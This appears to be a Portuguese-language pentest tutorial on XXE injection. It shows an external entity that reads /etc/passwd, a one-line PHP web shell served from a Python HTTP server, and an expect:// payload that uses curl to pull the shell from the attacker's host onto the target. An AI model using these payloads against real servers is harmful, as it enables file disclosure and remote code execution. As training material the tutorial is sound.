# Identificar XXE

* O primeiro passo para identificar potenciais vulnerabilidades XXE é encontrar páginas da web que aceitem uma entrada XML do usuário.
* Se preenchermos o formulário de contato e clicarmos em `Send Data`, então interceptamos a solicitação HTTP com Burp

#### Lendo arquivos confidenciais

* Vamos agora enviar a solicitação modificada e ver se o valor da nossa entidade XML externa é definido para o arquivo ao qual fazemos referência:

```xml
<!DOCTYPE email [
  <!ENTITY company SYSTEM "file:///etc/passwd">
]>
```

<figure><img src="https://4024756925-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZbLrq3t9Su3CqGmkXz7o%2Fuploads%2FH3cOChzFjAvXJGITPFhD%2Fimage.png?alt=media&#x26;token=b1fd4d56-38e2-4f4d-8176-744d2065dcb0" alt=""><figcaption></figcaption></figure>

#### Execução Remota de Código com XXE

*   O método mais eficiente para transformar XXE em RCE é buscar um web shell do nosso servidor e escrevê-lo no aplicativo web, e então podemos interagir com ele para executar comandos. Para fazer isso, podemos começar escrevendo um web shell PHP básico e iniciando um servidor web python, como segue:



```shell-session
echo '<?php system($_REQUEST["cmd"]);?>' > shell.php
sudo python3 -m http.server 80
```

* Agora, podemos usar o seguinte código XML para executar um `curl`comando que baixa nosso shell da web no servidor remoto:

```xml
<?xml version="1.0"?>
<!DOCTYPE email [
  <!ENTITY company SYSTEM "expect://curl$IFS-O$IFS'OUR_IP/shell.php'">
]>
<root>
<name></name>
<tel></tel>
<email>&company;</email>
<message></message>
</root>
```

{% hint style="info" %}
O módulo expect não é habilitado/instalado por padrão em servidores PHP modernos, então esse ataque pode não funcionar sempre. É por isso que o XXE é geralmente usado para divulgar arquivos locais sensíveis e código-fonte, o que pode revelar vulnerabilidades adicionais ou maneiras de obter execução de código.
{% endhint %}

